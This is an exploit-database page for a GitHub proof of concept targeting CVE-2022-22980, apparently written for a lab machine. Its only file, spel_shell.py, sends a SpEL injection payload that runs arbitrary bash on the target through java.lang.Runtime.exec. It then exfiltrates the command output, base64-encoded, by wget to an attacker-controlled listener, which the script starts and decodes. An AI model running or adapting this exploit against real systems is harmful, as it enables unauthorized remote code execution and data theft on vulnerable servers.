Exploit database

GH-288758523e4722fab771e8c266517a13

eliasdekiniweek/cve-2022-22980

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2022-22980

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
eliasdekiniweek/cve-2022-22980Revision f41b32be0b48

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

spel_shell.py

Python · 2,029 bytes
#!/usr/bin/env python3
import sys
import threading
import base64
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
import subprocess

# === CONFIG ===
TARGET = "http://10.129.227.230:8080/search"
LHOST = "10.10.14.5"   # Ton IP tun0
LPORT = 80             # Utilise 80 (plus fiable que 8000)

# === CHECK ARG ===
if len(sys.argv) != 2:
    print(f"Usage: {sys.argv[0]} '<commande>'")
    sys.exit(1)

command = sys.argv[1]
received = {"data": None}

# === HTTP SERVER ===
class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        data = self.path.lstrip("/")
        print(f"[*] Received data: {data}")  # Debug
        received["data"] = data
        self.send_response(200)
        self.end_headers()

    def log_message(self, format, *args):
        return  # silence logs

def start_server():
    try:
        server = HTTPServer(("0.0.0.0", LPORT), Handler)
        print(f"[*] Server listening on port {LPORT}")  # Debug
        server.timeout = 30  # Augmenté pour plus de fiabilité
        server.handle_request()
    except Exception as e:
        print(f"[!] Error starting server on port {LPORT}: {e}")

# === BUILD PAYLOAD ===
remote_cmd = (
    f'{command} | base64 -w0 '
    f'| xargs -I {{}} wget http://{LHOST}:{LPORT}/{{}}'
)

payload = (
    'tracking_id=T(java.lang.Runtime).getRuntime().exec('
    f'new String[]{{"bash","-c","{remote_cmd}"}})'
)

# === EXECUTION ===
print("[*] Starting listener...")
thread = threading.Thread(target=start_server)
thread.start()

time.sleep(1)

print("[*] Sending payload...")
print(f"Payload: {payload}")  # Debug
subprocess.run([
    "curl",
    "-s",
    "-X", "POST",
    "-d", payload,
    TARGET
])

thread.join(timeout=35)

# === OUTPUT ===
if received["data"]:
    try:
        decoded = base64.b64decode(received["data"]).decode()
        print("\n[+] Command output:\n")
        print(decoded)
    except:
        print("\n[!] Raw data received:\n")
        print(received["data"])
else:
    print("\n[-] No response received.")